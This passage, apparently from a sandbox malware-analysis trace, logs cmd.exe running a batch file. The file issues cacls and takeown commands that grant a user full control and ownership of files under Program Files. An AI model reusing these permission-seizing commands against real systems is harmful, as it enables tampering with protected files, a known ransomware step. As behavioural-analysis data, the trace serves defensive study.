-16 [0100.185] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0100.185] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0100.185] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0100.185] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0100.185] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0100.185] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0100.185] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0100.185] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0100.186] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0100.186] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0100.186] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0100.186] GetProcessHeap () returned 0xf0000 [0100.186] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x418) returned 0x104270 [0100.186] SetErrorMode (uMode=0x0) returned 0x0 [0100.186] SetErrorMode (uMode=0x1) returned 0x0 [0100.186] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x104278, lpFilePart=0x39ef60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39ef60*="Desktop") returned 0x25 [0100.186] SetErrorMode (uMode=0x0) returned 0x1 [0100.186] GetProcessHeap () returned 0xf0000 [0100.186] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104270, Size=0x60) returned 0x104270 [0100.186] GetProcessHeap () returned 0xf0000 [0100.186] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104270) returned 0x60 [0100.186] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0100.186] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0100.186] GetProcessHeap () returned 0xf0000 [0100.186] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x120) returned 0x1042d8 [0100.186] GetProcessHeap () returned 0xf0000 [0100.186] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x238) returned 0x104400 [0100.188] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xffffffff [0100.188] GetLastError () returned 0x2 [0100.188] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xffffffff [0100.189] GetLastError () returned 0x2 [0100.189] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.189] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xf1250 [0100.189] GetProcessHeap () returned 0xf0000 [0100.189] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x103698, Size=0x4) returned 0x103698 [0100.189] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0100.189] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xffffffff [0100.189] GetLastError () returned 0x2 [0100.189] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xf1250 [0100.190] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0100.190] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0100.190] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0100.190] GetConsoleTitleW (in: lpConsoleTitle=0x39ed2c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.190] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1048a8, lpFilePart=0x39e84c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39e84c*="Desktop") returned 0x25 [0100.190] SetErrorMode (uMode=0x0) returned 0x1 [0100.190] GetProcessHeap () returned 0xf0000 [0100.190] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x1048a0, Size=0x60) returned 0x1048a0 [0100.190] GetProcessHeap () returned 0xf0000 [0100.190] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x1048a0) returned 0x60 [0100.190] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0100.190] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0100.190] GetProcessHeap () returned 0xf0000 [0100.190] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x120) returned 0x104908 [0100.190] GetProcessHeap () returned 0xf0000 [0100.190] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x238) returned 0x104a30 [0100.190] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.191] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xffffffff [0100.191] GetLastError () returned 0x2 [0100.191] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xffffffff [0100.191] GetLastError () returned 0x2 [0100.191] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0100.191] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xf1250 [0100.191] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0100.191] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xffffffff [0100.191] GetLastError () returned 0x2 [0100.192] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x39e5c8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39e5c8) returned 0xf1250 [0100.192] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0100.192] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0100.192] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0100.192] GetConsoleTitleW (in: lpConsoleTitle=0x39eac0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0100.192] InitializeProcThreadAttributeList (in: lpAttributeList=0x39e948, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x39ea10 | out: lpAttributeList=0x39e948, lpSize=0x39ea10) returned 1 [0100.192] UpdateProcThreadAttribute (in: lpAttributeList=0x39e948, dwFlags=0x0, Attribute=0x60001, lpValue=0x39ea08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x39e948, lpPreviousValue=0x0) returned 1 [0100.192] GetStartupInfoW (in: lpStartupInfo=0x39e904 | out: lpStartupInfo=0x39e904*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0100.192] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0100.194] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x39e9a4*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x39e9f0 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x39e9f0*(hProcess=0x74, hThread=0x78, dwProcessId=0xe14, dwThreadId=0xe18)) returned 1 [0100.220] CloseHandle (hObject=0x78) returned 1 [0100.221] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0100.221] GetProcessHeap () returned 0xf0000 [0100.221] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x105fc0 | out: hHeap=0xf0000) returned 1 [0100.221] GetEnvironmentStringsW () returned 0x105fc0* [0100.221] GetProcessHeap () returned 0xf0000 [0100.221] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb36) returned 0x106b00 [0100.221] FreeEnvironmentStringsW (penv=0x105fc0) returned 1 [0100.221] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0102.418] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x39e8e4 | out: lpExitCode=0x39e8e4*=0x1f57) returned 1 [0102.418] CloseHandle (hObject=0x74) returned 1 [0102.418] _vsnwprintf (in: _Buffer=0x39ea2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x39e8f0 | out: _Buffer="00001F57") returned 8 [0102.418] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0102.418] GetProcessHeap () returned 0xf0000 [0102.418] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x106b00 | out: hHeap=0xf0000) returned 1 [0102.418] GetEnvironmentStringsW () returned 0x105fc0* [0102.418] GetProcessHeap () returned 0xf0000 [0102.418] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb5c) returned 0x1081a8 [0102.418] FreeEnvironmentStringsW (penv=0x105fc0) returned 1 [0102.418] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0102.418] GetProcessHeap () returned 0xf0000 [0102.418] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1081a8 | out: hHeap=0xf0000) returned 1 [0102.418] GetEnvironmentStringsW () returned 0x105fc0* [0102.419] GetProcessHeap () returned 0xf0000 [0102.419] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0xb5c) returned 0x1081a8 [0102.419] FreeEnvironmentStringsW (penv=0x105fc0) returned 1 [0102.419] GetProcessHeap () returned 0xf0000 [0102.419] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf0db8 | out: hHeap=0xf0000) returned 1 [0102.419] DeleteProcThreadAttributeList (in: lpAttributeList=0x39e948 | out: lpAttributeList=0x39e948) [0102.419] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.419] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0102.419] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.419] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0102.419] _get_osfhandle (_FileHandle=0) returned 0x3 [0102.419] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0102.420] SetConsoleInputExeNameW () returned 0x1 [0102.420] GetConsoleOutputCP () returned 0x1b5 [0102.420] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0102.420] SetThreadUILanguage (LangId=0x0) returned 0x409 [0102.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x39f164, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0102.421] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0102.421] _get_osfhandle (_FileHandle=3) returned 0x74 [0102.421] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104b60 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104a30 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104908 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1048a0 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1047c8 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1045b0 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104530 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104400 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1042d8 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x104270 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x1041a0 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf1230 | out: hHeap=0xf0000) returned 1 [0102.421] GetProcessHeap () returned 0xf0000 [0102.421] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0xf11d0 | out: hHeap=0xf0000) returned 1 [0102.421] _get_osfhandle (_FileHandle=3) returned 0x74 [0102.421] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0102.422] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x39f148, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x39f148*=0xc2, lpOverlapped=0x0) returned 1 [0102.422] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0102.422] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0102.423] _get_osfhandle (_FileHandle=3) returned 0x74 [0102.423] GetFileType (hFile=0x74) returned 0x1 [0102.423] _get_osfhandle (_FileHandle=3) returned 0x74 [0102.423] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0102.423] GetProcessHeap () returned 0xf0000 [0102.423] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x400a) returned 0x114bc8 [0102.423] GetProcessHeap () returned 0xf0000 [0102.423] HeapFree (in: hHeap=0xf0000, dwFlags=0x0, lpMem=0x114bc8 | out: hHeap=0xf0000) returned 1 [0102.424] _tell (_FileHandle=3) returned 47 [0102.424] _close (_FileHandle=3) returned 0 [0102.424] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39ef1c | out: _Buffer="\r\n") returned 2 [0102.424] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.424] GetFileType (hFile=0x7) returned 0x2 [0102.425] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.425] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eedc | out: lpMode=0x39eedc) returned 1 [0102.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.425] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39ef08, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39ef08*=0x2) returned 1 [0102.426] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0102.426] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0102.426] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x39ef18 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0102.427] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x39ef18 | out: _Buffer=">") returned 1 [0102.427] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.427] GetFileType (hFile=0x7) returned 0x2 [0102.427] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.427] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39eee0 | out: lpMode=0x39eee0) returned 1 [0102.427] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.427] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x39ef0c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x39ef0c*=0x26) returned 1 [0102.428] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.428] GetFileType (hFile=0x7) returned 0x2 [0102.428] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.428] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f164 | out: lpMode=0x39f164) returned 1 [0102.428] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.428] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0xf1238*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x39f190, lpReserved=0x0 | out: lpBuffer=0xf1238*, lpNumberOfCharsWritten=0x39f190*=0x7) returned 1 [0102.428] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x39f19c | out: _Buffer=" /F \"C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\" ") returned 65 [0102.428] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.429] GetFileType (hFile=0x7) returned 0x2 [0102.429] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.429] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f15c | out: lpMode=0x39f15c) returned 1 [0102.429] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.429] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x39f188, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f188*=0x41) returned 1 [0102.431] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x39f1bc | out: _Buffer="\r\n") returned 2 [0102.431] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.431] GetFileType (hFile=0x7) returned 0x2 [0102.431] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0102.431] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x39f17c | out: lpMode=0x39f17c) returned 1 [0102.431] _get_osfhandle (_FileHandle=1) returned 0x7 [0102.431] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x39f1a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x39f1a8*=0x2) returned 1 [0102.433] _wcsicmp (_String1="takeown", _String2="DIR") returned 16 [0102.433] _wcsicmp (_String1="takeown", _String2="ERASE") returned 15 [0102.433] _wcsicmp (_String1="takeown", _String2="DEL") returned 16 [0102.433] _wcsicmp (_String1="takeown", _String2="TYPE") returned -24 [0102.433] _wcsicmp (_String1="takeown", _String2="COPY") returned 17 [0102.433] _wcsicmp (_String1="takeown", _String2="CD") returned 17 [0102.433] _wcsicmp (_String1="takeown", _String2="CHDIR") returned 17 [0102.433] _wcsicmp (_String1="takeown", _String2="RENAME") returned 2 [0102.433] _wcsicmp (_String1="takeown", _String2="REN") returned 2 [0102.433] _wcsicmp (_String1="takeown", _String2="ECHO") returned 15 [0102.433] _wcsicmp (_String1="takeown", _String2="SET") returned 1 [0102.433] _wcsicmp (_String1="takeown", _String2="PAUSE") returned 4 [0102.433] _wcsicmp (_String1="takeown", _String2="DATE") returned 16 [0102.433] _wcsicmp (_String1="takeown", _String2="TIME") returned -8 [0102.433] _wcsicmp (_String1="takeown", _String2="PROMPT") returned 4 [0102.433] _wcsicmp (_String1="takeown", _String2="MD") returned 7 [0102.433] _wcsicmp (_String1="takeown", _String2="MKDIR") returned 7 [0102.433] _wcsicmp (_String1="takeown", _String2="RD") returned 2 [0102.433] _wcsicmp (_String1="takeown", _String2="RMDIR") returned 2 [0102.433] _wcsicmp (_String1="takeown", _String2="PATH") returned 4 [0102.433] _wcsicmp (_String1="takeown", _String2="GOTO") returned 13 [0102.433] _wcsicmp (_String1="takeown", _String2="SHIFT") returned 1 [0102.433] _wcsicmp (_String1="takeown", _String2="CLS") returned 17 [0102.433] _wcsicmp (_String1="takeown", _String2="CALL") returned 17 [0102.433] _wcsicmp (_String1="takeown", _String2="VERIFY") returned -2 [0102.433] _wcsicmp (_String1="takeown", _String2="VER") returned -2 [0102.433] _wcsicmp (_String1="takeown", _String2="VOL") returned -2 [0102.433] _wcsicmp (_String1="takeown", _String2="EXIT") returned 15 [0102.433] _wcsicmp (_String1="takeown", _String2="SETLOCAL") returned 1 [0102.433] _wcsicmp (_String1="takeown", _String2="ENDLOCAL") returned 15 [0102.433] _wcsicmp (_String1="takeown", _String2="TITLE") returned -8 [0102.434] _wcsicmp (_String1="takeown", _String2="START") returned 1 [0102.434] _wcsicmp (_String1="takeown", _String2="DPATH") returned 16 [0102.434] _wcsicmp (_String1="takeown", _String2="KEYS") returned 9 [0102.434] _wcsicmp (_String1="takeown", _String2="MOVE") returned 7 [0102.434] _wcsicmp (_String1="takeown", _String2="PUSHD") returned 4 [0102.434] _wcsicmp (_String1="takeown", _String2="POPD") returned 4 [0102.434] _wcsicmp (_String1="takeown", _String2="ASSOC") returned 19 [0102.434] _wcsicmp (_String1="takeown", _String2="FTYPE") returned 14 [0102.434] _wcsicmp (_String1="takeown", _String2="BREAK") returned 18 [0102.434] _wcsicmp (_String1="takeown", _String2="COLOR") returned 17 [0102.434] _wcsicmp (_String1="takeown", _String2="MKLINK") returned 7 [0102.434] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x104240, lpFilePart=0x39ef60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x39ef60*="Desktop") returned 0x25 [0102.434] SetErrorMode (uMode=0x0) returned 0x1 [0102.434] GetProcessHeap () returned 0xf0000 [0102.434] RtlReAllocateHeap (Heap=0xf0000, Flags=0x0, Ptr=0x104238, Size=0x64) returned 0x104238 [0102.434] GetProcessHeap () returned 0xf0000 [0102.434] RtlSizeHeap (HeapHandle=0xf0000, Flags=0x0, MemoryPointer=0x104238) returned 0x64 [0102.434] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0102.434] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0102.434] GetProcessHeap () returned 0xf0000 [0102.434] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x120) returned 0x1042a8 [0102.434] GetProcessHeap () returned 0xf0000 [0102.434] RtlAllocateHeap (HeapHandle=0xf0000, Flags=0x8, Size=0x238) returned 0x1043d0 [0102.435] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.435] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xffffffff [0102.440] GetLastError () returned 0x2 [0102.440] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\takeown", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xffffffff [0102.440] GetLastError () returned 0x2 [0102.440] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0102.440] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.*", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xf1250 [0102.440] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0102.441] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.COM", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xffffffff [0102.441] GetLastError () returned 0x2 [0102.441] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\takeown.EXE", fInfoLevelId=0x1, lpFindFileData=0x39ecdc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x39ecdc) returned 0xf1250 [0102.441] FindClose (in: hFindFile=0xf1250 | out: hFindFile=0xf1250) returned 1 [0102.441] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0102.441] _wcsicmp (_String1=".EXE", 